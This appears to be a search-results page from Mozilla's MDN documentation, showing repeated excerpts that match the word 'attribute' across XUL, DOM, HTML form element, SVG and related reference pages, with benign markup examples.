... only applied to type_toolbar areas. set to true if the toolbar should be collapsed by default. defaults to true. set to null to ensure that reset/indefaultstate don't care about the toolbar's collapsed state. registertoolbarnode() register a concrete node for a registered area. this method is automatically called from any toolbar in the main browser window that has its customizable
attribute set to true. there should normally be no need to call it yourself. note that ideally, you should register your toolbar using registerarea before any of the toolbars have their xbl bindings constructed (which will happen when they're added to the dom and are not hidden). if you don't, and your toolbar has a defaultset
attribute, customizableui will register it automatically. if your toolbar does ...
...And 11 more matches
Querying Places
isit. the results are of type result_type_full_visit and have additional information about the visit, such as the referring visit, and how the transition happened (typed, redirect, link, etc). not yet implemented -- see bug 320831. ...
...e result_type_full_visit and have additional information about the visit, such as the referring visit, and how the transition happened (typed, redirect, link, etc). not yet implemented -- see bug 320831. ...
...ion about the visit, such as the referring visit, and how the transition happened (typed, redirect, link, etc). not yet implemented -- see bug 320831. ...
...And 11 more matches
nsIDOMXULElement
dom/interfaces/xul/nsidomxulelement.idlscriptable represents a xul element within the dom. 66 introduced gecko 1.0 inherits from: nsidomelement last changed in gecko 1.9 (firefox 3) method overview void blur(); void click(); void docommand(); void focus(); nsidomnodelist getelementsby
attribute(in domstring name, in domstring value); nsidomnodelist getelementsby
attributens(in domstring namespaceuri, in domstring name, in domstring value);
attributes
attribute type description align domstring gets/sets the value of the element's align
attribute. allowevents boolean true if the element's allowevents
attribute is the string "true", otherwise false. removes the
attribute if you set it to false. boxobject nsiboxobject read only. gets or creates a...
...s a box object for the element; browser, editor, iframe, listbox, menu, menupopup, scrollbox, tooltip and tree elements receive specialized box objects allowing access to additional properties not normally available from script. builder nsixultemplatebuilder read only. retrives the element's template builder, if it has a template. classname domstring gets/sets the value of the element's class
attribute. collapsed boolean true if the element's collapsed
attribute is the string "true", otherwise false. removes the
attribute if you set it to false. contextmenu domstring gets/sets the value of the element's contextmenu
attribute. controllers nsicontrollers read only. returns an nsicontrollers object that additional controllers may be appended to so as to provide focus-specific actions for com...
... the element's contextmenu
attribute. controllers nsicontrollers read only. returns an nsicontrollers object that additional controllers may be appended to so as to provide focus-specific actions for commands. database nsirdfcompositedatasource read only. returns the template builder's database, if it is an rdf template. datasources domstring gets/sets the value of the element's datasources
attribute. dir domstring gets/sets the value of the element's dir
attribute. flex domstring gets/sets the value of the element's flex
attribute. flexgroup domstring gets/sets the value of the element's flexgroup
attribute. height domstring gets/sets the value of the element's height
attribute. hidden boolean true if the element's hidden
attribute is the string "true", otherwise false. removes the...
...And 11 more matches
Element - Web APIs
ono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">element</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} properties inherits properties from its parent interface, node, and by extension that interface's parent, eventtarget. it implements the properties of parentnode, childnode, nondocumenttypechildnode, and animatable. element.
attributes read only returns a namednodemap object containing the assigned
attributes of the corresponding html element. element.classlist read only returns a domtokenlist containing the list of class
attributes. element.classname is a domstring representing the class of the element. element.clientheight read only returns a number representing the inner height of the element. element.clientleft ...
...ling read only is an element, the element immediately following the given one in the tree, or null if there's no sibling node. element.outerhtml is a domstring representing the markup of the element including its content. when used as a setter, replaces the element with nodes parsed from the given string. element.part represents the part identifier(s) of the element (i.e. set using the part
attribute), returned as a domtokenlist. element.prefix read only a domstring representing the namespace prefix of the element, or null if no prefix is specified. nondocumenttypechildnode.previouselementsibling read only is a element, the element immediately preceding the given one in the tree, or null if there is no sibling element. element.scrollheight read only returns a number representing the ...
...ymapreadonly interface which provides a read-only representation of a css declaration block that is an alternative to cssstyledeclaration. eventtarget.dispatchevent() dispatches an event to this node in the dom and returns a boolean that indicates whether no handler canceled the event. element.getanimations() returns an array of animation objects currently active on the element. element.get
attribute() retrieves the value of the named
attribute from the current node and returns it as an object. element.get
attributenames() returns an array of
attribute names from the current element. element.get
attributens() retrieves the value of the
attribute with the specified name and namespace, from the current node and returns it as an object. element.getboundingclientrect() returns the size of an...
...And 11 more matches
<audio>: The Embed Audio element - HTML: Hypertext Markup Language
the html <audio> element is used to embed sound content in documents. it may contain one or more audio sources, represented using the src
attribute or the <source> element: the browser will choose the most suitable one. it can also be the destination for streamed media, using a mediastream. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. the above example shows simple usage of the <audio> element. ...
...ream. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. the above example shows simple usage of the <audio> element. in a similar manner to the <img> element, we include a path to the media we want to embed inside the src
attribute; we can include other
attributes to specify information such as whether we want it to autoplay and loop, whether we want to show the browser's default audio controls, etc. the content inside the opening and closing <audio></audio> tags is shown as a fallback in browsers that don't support the element.
attributes this element's
attributes include the global
attributes. autoplay a boolean at...
...t experience for users, so should be avoided when possible. if you must offer autoplay functionality, you should make it opt-in (requiring a user to specifically enable it). however, this can be useful when creating media elements whose source will be set at a later time, under user control. see our autoplay guide for additional information about how to properly use autoplay. controls if this
attribute is present, the browser will offer controls to allow the user to control audio playback, including volume, seeking, and pause/resume playback. crossorigin this enumerated
attribute indicates whether to use cors to fetch the related audio file. cors-enabled resources can be reused in the <canvas> element without being tainted. the allowed values are: anonymous sends a cross-origin request ...
...And 11 more matches
<iframe>: The Inline Frame element - HTML: Hypertext Markup Language
content, palpable content. permitted content none. tag omission none, both the starting and ending tag are mandatory. permitted parents any element that accepts embedded content. ...
...d content none. tag omission none, both the starting and ending tag are mandatory. permitted parents any element that accepts embedded content. implicit aria role no corresponding role permitted aria roles application, document, img, none, presentation dom interface htmliframeelement
attributes this element includes the global
attributes. ...
... csp a content security policy enforced for the embedded resource. see htmliframeelement.csp for details. ...
...And 11 more matches
<input type="checkbox"> - HTML: Hypertext Markup Language
in which only one radio button can be selected at a time, whereas checkboxes allow you to turn single values on and off. where multiple controls exist, radio buttons allow one to be selected out of them all, whereas checkboxes allow multiple values to be selected. value a domstring representing the value of the checkbox. events change and input supported common
attributes checked idl
attributes checked, indeterminate and value methods select() value a domstring representing the value of the checkbox. this is never seen on the client-side, but on the server this is the value given to the data submitted with the checkbox's name. take the following example: <form> <div> <input type="checkbox" id="subscribenews" name="subscri...
... <input type="checkbox" id="subscribenews" name="subscribe" value="newsletter"> <label for="subscribenews">subscribe to newsletter?</label> </div> <div> <button type="submit">subscribe</button> </div> </form> in this example, we've got a name of subscribe, and a value of newsletter. when the form is submitted, the data name/value pair will be subscribe=newsletter. if the value
attribute was omitted, the default value for the checkbox is on, so the submitted data in that case would be subscribe=on. note: if a checkbox is unchecked when its form is submitted, there is no value submitted to the server to represent its unchecked state (e.g. value=unchecked); the value is not submitted to the server at all. if you wanted to submit a default value for the checkbox when it is uncheck...
...unchecked when its form is submitted, there is no value submitted to the server to represent its unchecked state (e.g. value=unchecked); the value is not submitted to the server at all. if you wanted to submit a default value for the checkbox when it is unchecked, you could include an <input type="hidden"> inside the form with the same name and value, generated by javascript perhaps. ...
...And 11 more matches
<textarea> - HTML: Hypertext Markup Language
enter a sizeable amount of free-form text, for example a comment on a review or feedback form. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. the above example demonstrates a number of features of <textarea>: an id
attribute to allow the <textarea> to be associated with a <label> element for accessibility purposes a name
attribute to set the name of the associated data point submitted to the server when the form is submitted. rows and cols
attributes to allow you to specify an exact size for the <textarea> to take. setting these is a good idea for consistency, as browser defaults can differ. default content entere...
...lity purposes a name
attribute to set the name of the associated data point submitted to the server when the form is submitted. rows and cols
attributes to allow you to specify an exact size for the <textarea> to take. setting these is a good idea for consistency, as browser defaults can differ. default content entered between the opening and closing tags. <textarea> does not support the value
attribute. the <textarea> element also accepts several
attributes common to form <input>s, such as autocomplete, autofocus, disabled, placeholder, readonly, and required.
attributes this element includes the global
attributes. ...
...er defaults can differ. default content entered between the opening and closing tags. <textarea> does not support the value
attribute. the <textarea> element also accepts several
attributes common to form <input>s, such as autocomplete, autofocus, disabled, placeholder, readonly, and required.
attributes this element includes the global
attributes. autocapitalize this is a non-standard
attribute supported by webkit on ios (therefore nearly all browsers running on ios, including safari, firefox, and chrome), which controls whether and how the text value should be automatically capitalized as it is entered/edited by the user. the non-deprecated values are available in ios 5 and later. possible values are: none: completely disables automatic capitalization. sentences: automatically ca...
...And 11 more matches
<symbol> - SVG: Scalable Vector Graphics
value type: (none| xminymin| xmidymin| xmaxymin| xminymid| xmidymid| xmaxymid| xminymax| xmidymax| xmaxymax) (mee...
... value type: (none| xminymin| xmidymin| xmaxymin| xminymid| xmidymid| xmaxymid| xminymax| xmidymax| xmaxymax) (meet|slice)? ; default value: ...
..." style="opacity:0.8" /> <use xlink:href="#mydot" x="35" y="5" style="opacity:0.6" /> <use xlink:href="#mydot" x="50" y="5" style="opacity:0.4" /> <use xlink:href="#mydot" x="65" y="5" style="opacity:0.2" /> </svg>
attributes height this
attribute determines the height of the symbol. value type: <length>|<percentage> ; default value: auto; animatable: yes preserveaspectratio this
attribute defines how the svg fragment must be deformed if it is embedded in a container with a different aspect ratio. value type: (none| xminymin| xmidymin| xmaxymin| xminymid| xmidymid| xmaxymid| xminymax| xmidymax| xmaxymax) (meet|slice)? ; default value: xmidymid meet; animatable: yes refx this
attribute determines the x coordinate of the reference point of the symbol. value type: <length>|<percen...
...And 11 more matches
Appendix E: DOM Building and Insertion (HTML & XUL) - Archive of obsolete content
ag.appendchild(tag.apply(null, thiselem)); }); return frag; } // single element? ...
...); // set element's
attributes and/or callback functions (eg. onclick) for (var key in elemattr) { var val = elemattr[key]; if (nodes && key == "key") { nodes[val] = elem; continue; } var attrns = namespace(key); if (typeof val == "function") { // special case for function
attributes; don't just add them as 'on...'
attributes, but as events, using addeventlistener elem.addeventlistener(key.replace(/^on/, ""), val, false); } else { // note that the default namespace for xml
attributes is, and should be, blank (ie. ...
... // special case for function
attributes; don't just add them as 'on...'
attributes, but as events, using addeventlistener elem.addeventlistener(key.replace(/^on/, ""), val, false); } else { // note that the default namespace for xml
attributes is, and should be, blank (ie. ...
...And 10 more matches
The Essentials of an Extension - Archive of obsolete content
ip the first few lines because they relate to skin and locale, and we'll cover them later. <overlay id="xulschoolhello-browser-overlay" xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul"> the root element in the file is an overlay. other xul documents use the window or dialog tag. the element has a unique id, which you should have on most elements in your xul. the second
attribute is the namespace, which is something you should always define in your xul root element. it says that this node and all child nodes are xul. you only need to change namespace declarations when you mix different types of content in the same document, such as xul with html or svg. you may have noticed the naming we use on several places, such as the id xulschoolhello-browser-overlay. this is the ...
...u button to toggle display of the classic menu on windows and some linux distributions. in order to write this code, we needed some knowledge of the xul code in browser.xul. we needed to know that the id of the right pane in the unified menu is appmenusecondarypane. we're adding a menu of our own, and telling firefox to add it in that pane, right after the add-ons item. that's the purpose of the
attribute: insertafter="appmenu_addons" appmenu_addons is the id of the menu element that corresponds to the add-ons menu item in the main menu. we'll see later how we can find out things like the ids of browser elements, but for now let's look at the elements that compose the hello world menu. for the classic menu, we added the hello world menu right in the "root" of the menu so that it would be v...
..."&xulschoolhello.helloitem.accesskey;" oncommand="xulschoolchrome.browseroverlay.sayhello(event);" /> </menupopup> </menu> </menupopup> we're overlaying the menu that is deeper into the xul tree, but it doesn't matter because all we need is the id of the element we want to overlay. in this case it is the menupopup element that's inside of the tools menu element. the insertbefore
attribute tells firefox to add the menu at the bottom of the dev tools section, above its end separator. we'll discuss more about menus later on in the tutorial. now let's look at the actual code: oncommand="xulschoolchrome.browseroverlay.sayhello(event);" this
attribute defines an event handler. the command event is the most frequently used in firefox, since it corresponds to the main action for m...
...And 10 more matches
Migrate apps from Internet Explorer to Mozilla - Archive of obsolete content
ent(aid){ return (document.getelementbyid) ? document.getelementbyid(aid) : document.all[aid]); } differences between mozilla and internet explorer first, i'll discuss the differences in the way html behaves between mozilla and internet explorer. tooltips legacy browsers introduced tooltips into html by showing them on links and using the value of the alt
attribute as a tooltip's content. the latest w3c html specification created the title
attribute, which is meant to contain a detailed description of the link. modern browsers will use the title
attribute to display tooltips, and mozilla only supports showing tooltips for that
attribute and not the alt
attribute. entities html markup can contain several entities, which the w3c web standards body has defin...
...ree in any direction. internet explorer supports these apis as well, but it also supports its legacy apis for walking a dom tree, such as the children property. table 2. methods used to traverse the dom property/method description childnodes returns an array of all child nodes of the element. firstchild returns the first child node of the element. get
attribute( a
attributename ) returns the value for the specified
attribute. has
attribute( a
attributename ) returns a boolean stating if the current node has an
attribute defined with the specified name. haschildnodes() returns a boolean stating whether the current node has any child nodes. lastchild returns the last child node of the element. nextsibling re...
... lastchild returns the last child node of the element. nextsibling returns the node immediately following the current one. nodename returns the name of the current node as a string. nodetype returns the type of the current node. ...
...And 10 more matches
Special Condition Tests - Archive of obsolete content
inner iterations may use different content. it's most useful to distinguish between the outer and inner levels during template generation. for the bookmarks toolbar, the outer content is inserted into an <hbox>, but at lower levels, the content will be inserted into a <menu> in case you aren't clear, the tag that must match for the outer iteration is the root element, the one with the datasources
attribute on it. for inner iterations, it will be the element with the uri
attribute from the previous iteration. here is a previous example, rewritten to use the parent matching syntax: <vbox datasources="people.xml" ref="*" querytype="xml"> <template> <query expr="*"/> <rule parent="vbox"> <action> <groupbox uri="?"> <caption label="?name"/> </groupbox> </a...
...roupbox> </action> </rule> <rule> <action> <label uri="?" value="?name"/> </action> </rule> </template> </vbox> previously, an assign element was used to assign the tagname of the result to a variable, which was then compared in a rule condition. the code above accomplishes the same effect except that it using the parent matching mechanism. note the parent
attribute on the rule element, set to the value vbox. this causes the rule to match only content that would be inserted in a vbox element. as the outer element is a vbox, this will match for all results in the first iteration of the template. however, for the next iteration, that is, the next level of children, the content would instead be inserted into the groupbox generated from the previous iteration. t...
...nerated instead. the end effect is the same output, however, the source code is simpler. this technique is useful when you know that the content will be different at each level. if this is not the case, you will still need to use other types of conditions to handle this case. rdf parent matching for rdf sources, you can use the same technique. to do this kind of matching, you again place a parent
attribute on the rule, set to the tag to match. for instance, we might use the following: <vbox datasources="template-guide-streets.rdf" ref="http://www.xulplanet.com/rdf/myneighbourhood"> <template> <rule parent="vbox"> <groupbox uri="rdf:*"> <caption label="rdf:http://purl.org/dc/elements/1.1/title"/> </groupbox> </rule> <rule> <label uri="rdf:*" value="rdf:h...
...And 10 more matches
Template Logging - Archive of obsolete content
irst debugging method involves logging all new results that apply to the template due to the data changing as well as logging results that are changed or removed. in addition, each result generated when the template is first created and initialized is logged. this logging of result changes is not done by default; it must be enabled with a flag. <vbox datasources="..." flags="logging"/> the flags
attribute on the root element of the template should include the logging flag. if other flags are used as well, separate them with spaces. enabling logging will output details to the error console for each result. the error console can be found on the firefox tools menu. this logging of results can be very useful for debugging, but remember to remove this flag when you have finished and the template works ...
...time that is not necessary when the template is working. each result is logged in a form much like the following: in template with id root using ref http://www.some-fictitious-zoo.com/birds new active result for query 2 matching rule 1: http://www.some-fictitious-zoo.com/birds/emperorpenguin in the example above, a new result has been added. for references, the value of the template's id and ref
attributes are provided in each logged message. this is useful if multiple templates are being used. the second line gives details about the new result. the id of the result is specified at the end, in this case 'http://www.some-fictitious-zoo.com/b...emperorpenguin'. this corresponds to the id
attribute set on a generated row. for an rdf datasource, this will be the result's resource. for other datasource...
...d doesn't have any content. this is because the first query overrides it. removed inactive result for query 2 (no new active query) a result no longer matches, but it is inactive and doesn't have any content. however, no other query overrides it. no changes to the content will occur. template errors the second type of template error is a syntax error is the template rules, for example, a missing
attribute or a tag out of place. these types of errors are also logged to the console, however, these types of errors are logged whether the logging flag is set or not. the following lists the errors that can occur and an explanation of what the problem is. querytype
attribute doesn't specify a valid query processor this error indicates that the querytype
attribute is set to an unrecognized value. only th...
...And 10 more matches
editor - Archive of obsolete content
« xul reference home [ examples |
attributes | properties | methods | related ] a frame which is expected to contain an editable document. set the value of the editortype
attribute to html to create an editor document. mozilla provides two types of editors, the html editor and the plaintext editor. the editor does not provide any editing user interface; you would supply that yourself. however, text editing, image resizing, and table row and cell editing capabilities are provided. if you do not set the editortype
attribute on an editor, you must enable editing using the makeeditable method. to specify the document to load in the editor use the src
attribute. ...
...not provide any editing user interface; you would supply that yourself. however, text editing, image resizing, and table row and cell editing capabilities are provided. if you do not set the editortype
attribute on an editor, you must enable editing using the makeeditable method. to specify the document to load in the editor use the src
attribute. however, an issue is that if you specify the src
attribute initially on the editor tag in the xul file, the document does not become editable by default. ...
... call the makeeditable method to make the document loaded in the editor editable. enable the design mode of the document loaded in the editor. ...
...And 10 more matches
image - Archive of obsolete content
« xul reference home [ examples |
attributes | properties | methods | related ] summary an element that displays an image, much like the html img element. the src
attribute can be used to specify the url of the image. more information is available in the xul tutorial. note: prior to gecko 8.0, images did not shrink down with the same ratio in both directions when specifying maximum sizes using maxheight or maxwidth. the new behavior aligns more with the html <img> element and shrinks both the width and height down proportionally. ...
... element. the src
attribute can be used to specify the url of the image. more information is available in the xul tutorial. note: prior to gecko 8.0, images did not shrink down with the same ratio in both directions when specifying maximum sizes using maxheight or maxwidth. the new behavior aligns more with the html <img> element and shrinks both the width and height down proportionally.
attributes onerror, onload, src, validate properties accessibletype, src style classes alert-icon, error-icon, message-icon, question-icon examples <image src='firefoxlogo.png' width='135' height='130'/>
attributes onerror type: script code this event is sent to an image element when an error occurs loading the image. image.onload type: script code this event handler wil...
...n, question-icon examples <image src='firefoxlogo.png' width='135' height='130'/>
attributes onerror type: script code this event is sent to an image element when an error occurs loading the image. image.onload type: script code this event handler will be called on the image element when the image has finished loading. this applies whether the image is applied via the src
attribute or the list-style-image style property. if you change the image, the event will fire again when the new image loads. this event will not bubble up the element tree. src type: uri the uri of the content to appear in the element. validate type: one of the values below this
attribute indicates whether to load the image from the cache or not. this would be useful ...
...And 10 more matches
listcell - Archive of obsolete content
an ellipsis will be used in place of the cropped text. if the box direction is reversed, the cropping is reversed. ...
...an ellipsis will be used in place of the cropped text. if the box direction is reversed, the cropping is reversed. ...
...an ellipsis will be used in place of the cropped text. if the box direction is reversed, the cropping is reversed. ...
...And 10 more matches
notification - Archive of obsolete content
« xul reference home [ examples |
attributes | properties | methods | related ] the notification is used to display an informative message. it will normally be used as part of a notificationbox. the box includes a button which the user can use to close the box.
attributes image, label, priority, persistence, type, value properties accessibletype, control, image, label, priority, persistence, type, value methods close examples <notification label="this is a warning"/>
attributes image type: uri the uri of the image to appear on the element. if this
attribute is empty or left out, no image appears. the position of the image is determined by the dir and orient
attributes. label type: string the label that will appear on the element. if thi...
... persistence type: integer the persistence may be set to a non-zero value so that the notificationbox's removetransientnotifications method does not remove them. this may be used to close a set of notifications as a group without affecting other notifications. ...
...ations appear. should be one of the constants described in the notificationbox's appendnotification method. type type: one of the values below indicates the type of notification, determined from the priority. info a notification that is of lesser importance. warning a normal warning notification. critical a critical notification. ...
...And 10 more matches
splitter - Archive of obsolete content
« xul reference home [ examples |
attributes | properties | methods | related ] an element which should appear before or after an element inside a container. when the splitter is dragged, the sibling elements of the splitter are resized. if a grippy is placed inside the splitter, one sibling element of the splitter is collapsed when the grippy is clicked. more information is available in the xul tutorial.
attributes collapse, resizeafter, resizebefore, state, substate style classes tree-splitter examples <!-- this bar has some styling associated with it. the vbox is used to hold the .png image that a user clicks on to resize the search bar.--> <splitter tooltiptext="resize the search box" oncommand="alert('the splitter was dragged')"> <vbox id="example_vb...
...you should put a grippy element inside the splitter when it is used for collapsing. none no collapsing occurs. ...
...you should put a grippy element inside the splitter when it is used for collapsing. ...
...And 10 more matches
tabbox - Archive of obsolete content
« xul reference home [ examples |
attributes | properties | methods | related ] a container used to display a set of tabbed pages of elements. a row of tabs is displayed at the top of tabbox which may be used to switch between each page. the tabbox should contain two children, the first a tabs element which contains the tabs and the second a tabpanels element which contains the contents of the pages. more information is available in the xul tutorial. ...
...thods | related ] a container used to display a set of tabbed pages of elements. a row of tabs is displayed at the top of tabbox which may be used to switch between each page. the tabbox should contain two children, the first a tabs element which contains the tabs and the second a tabpanels element which contains the contents of the pages. more information is available in the xul tutorial. ...
... parent keyboard navigation is captured at the parent of the tabbox. windo...
...And 10 more matches
wizard - Archive of obsolete content
the wizard will rendered in a manner suitable for the user's selected theme and platform. ...
... found in some applications to guide users through a task. it is used for a window with several steps contained on several pages. this element provides the header and buttons along the bottom, and also handles navigation between the pages. each page should be constructed using a wizardpage. ...
... order that they are placed in the wizard, unless you use the next and pageid
attributes on the pages to change the sequence. the wizard will rendered in a manner suitable for the user's selected theme and platform. in newer versions of mozilla, a statusbar may be placed directly inside the wizard element which will be shared among all pages. more information is available in the xul tutorial. ...
...And 10 more matches
HTML: A good basis for accessibility - Learn web development
if you'd just used <button> elements, plus you don't get any of the default css styling that buttons get. building keyboard accessibility back in adding such advantages back in takes a bit of work (you can see an example in our fake-div-buttons.html example — also see the source code). ...
...this is nearly always a bad idea, as it can cause major confusion. ...
...der rows are and if they are heading up rows, columns, etc. this can only be done visually for the above table (see bad-table.html and try the example out yourself). now have a look at our punk bands table example — you can see a few accessibility aids at work here: table headers are defined using <th> elements — you can also specify if they are headers for rows or columns using the scope
attribute. this gives you complete groups of data that can be consumed by screen readers as single units. the <caption> element and <table> summary
attribute both do similar jobs — they act as alt text for a table, giving a screen reader user a useful quick summary of the table's contents. the <caption> element is generally preferred as it makes it's content accessible to sighted users too, who might al...
...And 10 more matches
HTML: A good basis for accessibility - Learn web development
if you'd just used <button> elements, plus you don't get any of the default css styling that buttons get. building keyboard accessibility back in adding such advantages back in takes a bit of work (you can see an example in our fake-div-buttons.html example — also see the source code). ...
...this is nearly always a bad idea, as it can cause major confusion. ...
...der rows are and if they are heading up rows, columns, etc. this can only be done visually for the above table (see bad-table.html and try the example out yourself). now have a look at our punk bands table example — you can see a few accessibility aids at work here: table headers are defined using <th> elements — you can also specify if they are headers for rows or columns using the scope
attribute. this gives you complete groups of data that can be consumed by screen readers as single units. the <caption> element and <table> summary
attribute both do similar jobs — they act as alt text for a table, giving a screen reader user a useful quick summary of the table's contents. the <caption> element is generally preferred as it makes it's content accessible to sighted users too, who might al...
...And 10 more matches
The HTML5 input types - Learn web development
now we'll look at the functionality of newer form controls in detail, including some new input types, which were added in html5 to allow collection of specific types of data. prerequisites: basic computer literacy, and a basic understanding of html. objective: to understand the newer input type values available to create native form controls, and how to implement them using html. ...
...l forms element reference, and in particular our extensive <input> types reference. because html form control appearance may be quite different from a designer's specifications, web developers sometimes build their own custom form controls. we cover this in an advanced tutorial: how to build custom form widgets. ...
...mail address field this type of field is set using the value email for the type
attribute: <input type="email" id="email" name="email"> when this type is used, the user is required to type a valid email address into the field. any other content causes the browser to display an error when the form is submitted. you can see this in action in the below screenshot. you can also use the multiple
attribute in combination with the email input type to allow several email addresses to be entered in the same input (separated by commas): <input type="email" id="email" name="email" multiple> on some devices — notably, touch devices with dynamic keyboards like smart phones — a different virtual keypad might be presented that is more suitable for entering email addresses, including the @ key. see the...
...And 10 more matches
UI pseudo-classes - Learn web development
ll be looking at are: :required and :optional: targets required or optional form controls. :valid and :invalid, and :in-range and :out-of-range: target form controls that are valid/invalid according to form validation constraints set on them, or in-range/out-of-range. :enabled and :disabled, and :read-only and :read-write: target enabled or disabled form controls (e.g. ...
...trols. :valid and :invalid, and :in-range and :out-of-range: target form controls that are valid/invalid according to form validation constraints set on them, or in-range/out-of-range. :enabled and :disabled, and :read-only and :read-write: target enabled or disabled form controls (e.g. with the disabled html
attribute set), and read-write or read-only form controls (e.g. with the readonly html
attribute set). :checked, :indeterminate, and :default: respectively target checkboxes and radio buttons that are checked, in an indeterminate state (neither checked or not checked), and the default selected option when the page loads (e.g. an <input type="checkbox"> with the checked
attribute set, or an <option> element with the selected
attribute set). there are many others too, but the ones listed ab...
...t for now we'll keep things simple with regards to form validation, so it doesn't confuse things. styling inputs based on whether they are required or not one of the most basic concepts with regards to client-side form validation is whether a form input is required (it has to be filled in before the form can be submitted) or optional. <input>, <select>, and <textarea> elements have a required
attribute available which, when set, means that you have to fill in that control before the form will successfully submit. for example: <form> <fieldset> <legend>feedback form</legend> <div> <label for="fname">first name: </label> <input id="fname" name="fname" type="text" required> </div> <div> <label for="lname">last name: </label> <input id="lname" name="lname"...
...And 10 more matches
Python binding for NSS
permit initialization from base64 and/or pem textual data. release 0.16.0 release date 2014-10-29 scm tag pynss_release_0_16_0 source download https://ftp.mozilla.org/pub/mozilla.org/security/python-nss/releases/pynss_release_0_16_0/src/ change log the primary enhancements in this version is adding support for the setting trust
attributes on a certificate, the ssl version range api, information on the ssl cipher suites and information on the ssl connection. the following module functions were added: ssl.get_ssl_version_from_major_minor ssl.get_default_ssl_version_range ssl.get_supported_ssl_version_range ssl.set_default_ssl_version_range ssl.ssl_library_version_from_name ...
...l_cipher_suite_from_name the following deprecated module functions were removed: ssl.nssinit ssl.nss_ini ssl.nss_shutdown the following classes were added: sslciphersuiteinfo sslchannelinfo the following class methods were added: certificate.trust_flags certificate.set_trust_
attributes sslsocket.set_ssl_version_range sslsocket.get_ssl_version_range sslsocket.get_ssl_channel_info sslsocket.get_negotiated_host sslsocket.connection_info_format_lines sslsocket.connection_info_format sslsocket.connection_info_str sslciphersuiteinfo.format_lines sslciphersuiteinfo.format sslchannelinfo.format_lines sslchann...
...see test/test_cert_request.py for examples.
...And 10 more matches
nsIMsgIdentity
the nsimsgidentity interface contains all the personal outgoing mail information for a given person. each identity is identified by a key, which is the id string in the identity preferences, such as in mail.identity.<id>.replyto. ...
...ins all the personal outgoing mail information for a given person. each identity is identified by a key, which is the id string in the identity preferences, such as in mail.identity.<id>.replyto. ...
...h identity is identified by a key, which is the id string in the identity preferences, such as in mail.identity.<id>.replyto. ...
...And 10 more matches
<button>: The Button element - HTML: Hypertext Markup Language
ut there must be no interactive content tag omission none, both the starting and ending tag are mandatory. permitted parents any element that accepts phrasing content. implicit aria role button permitted aria roles checkbox, link, menuitem, menuitemcheckbox, menuitemradio, option, radio, switch, tab dom interface htmlbuttonelement
attributes this element's
attributes include the global
attributes. autofocus html5 this boolean
attribute specifies that the button should have input focus when the page loads. only one element in a document can have this
attribute. autocomplete this
attribute on a <button> is nonstandard and firefox-specific. unlike other browsers, firefox persists the dynamic disabled state of a <button> across...
...he button should have input focus when the page loads. only one element in a document can have this
attribute. autocomplete this
attribute on a <button> is nonstandard and firefox-specific. unlike other browsers, firefox persists the dynamic disabled state of a <button> across page loads. setting autocomplete="off" on the button disables this feature; see bug 654072. disabled this boolean
attribute prevents the user from interacting with the button: it cannot be pressed or focused. firefox, unlike other browsers, persists the dynamic disabled state of a <button> across page loads. use the autocomplete
attribute to control this feature. ...
...it can also override an ancestor <form> element. ...
...And 10 more matches
<input type="month"> - HTML: Hypertext Markup Language
ser that doesn't support month, the screenshot below shows what it looks like in chrome and opera. clicking the down arrow on the right hand side brings up a date picker that lets you select the month and year. the microsoft edge month control looks like this: value a domstring representing a month and year, or empty. events change and input supported common
attributes autocomplete, list, readonly, and step. idl
attributes value methods select(), stepdown(), stepup(). value a domstring representing the value of the month and year entered into the input, in the form yyyy-mm (four or more digit year, then a hyphen ("-"), followed by the two-digit month). the format of the month string used by this input type is described in for...
...e value of the month and year entered into the input, in the form yyyy-mm (four or more digit year, then a hyphen ("-"), followed by the two-digit month). the format of the month string used by this input type is described in format of a valid local month string in date and time formats used in html. ...
... it will look like bday-month=1978-06. ...
...And 10 more matches
<input type="submit"> - HTML: Hypertext Markup Language
<input> elements of type submit are rendered as buttons. when the click event occurs (typically because the user clicked the button), the user agent attempts to submit the form to the server. <input type="submit" value="send request"> value a domstring used as the button's label events click supported common
attributes type and value idl
attributes value methods none value an <input type="submit"> element's value
attribute contains a domstring which is displayed as the button's label. buttons do not have a true value otherwise. <input type="submit" value="send request"> if you don't specify a value, the button will have a default label, chosen by the user agent. this label is likely to be something along the lines of "...
...utton's label. buttons do not have a true value otherwise. <input type="submit" value="send request"> if you don't specify a value, the button will have a default label, chosen by the user agent. ...
...ave a true value otherwise. <input type="submit" value="send request"> if you don't specify a value, the button will have a default label, chosen by the user agent. ...
...And 10 more matches
<input type="week"> - HTML: Hypertext Markup Language
ntrol provides slots to fill in week and year values, a pop-up calendar interface to select them more visually, and an "x" button to clear the control's value. the edge week control is somewhat more elaborate, opening up week and year pickers with sliding reels. value a domstring representing a week and year, or empty events change and input supported common
attributes autocomplete, list, readonly, and step idl
attributes value, valueasdate, valueasnumber, and list. methods select(), stepdown(), and stepup() value a domstring representing the value of the week/year entered into the input. the format of the date and time value used by this input type is described in format of a valid week string in date and time formats used i...
..., valueasnumber, and list. methods select(), stepdown(), and stepup() value a domstring representing the value of the week/year entered into the input. the format of the date and time value used by this input type is described in format of a valid week string in date and time formats used in html. you can set a default value for the input by including a value inside the value
attribute, like so: <label for="week">what week would you like to start?</label> <input id="week" type="week" name="week" value="2017-w01"> one thing to note is that the displayed format may differ from the actual value, which is always formatted yyyy-www. when the above value is submitted to the server, for example, browsers may display it as week 01, 2017, but the submitted value will always look lik...
... formatted yyyy-www. when the above value is submitted to the server, for example, browsers may display it as week 01, 2017, but the submitted value will always look like week=2017-w01. ...
...And 10 more matches
<th> - HTML: Hypertext Markup Language
the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. content categories none. permitted content flow content, but with no header, footer, sectioning content, or heading content descendants. tag omission the start tag is mandatory. ...
...dants. tag omission the start tag is mandatory. the end tag may be omitted, if it is immediately followed by a <th> or <td> element or if there are no more data in its parent element. permitted parents a <tr> element. implicit aria role columnheader or rowheader permitted aria roles any dom interface htmltableheadercellelement
attributes this element includes the global
attributes. abbr this
attribute contains a short abbreviated description of the cell's content. some user-agents, such as speech readers, may present this description before the content itself. colspan this
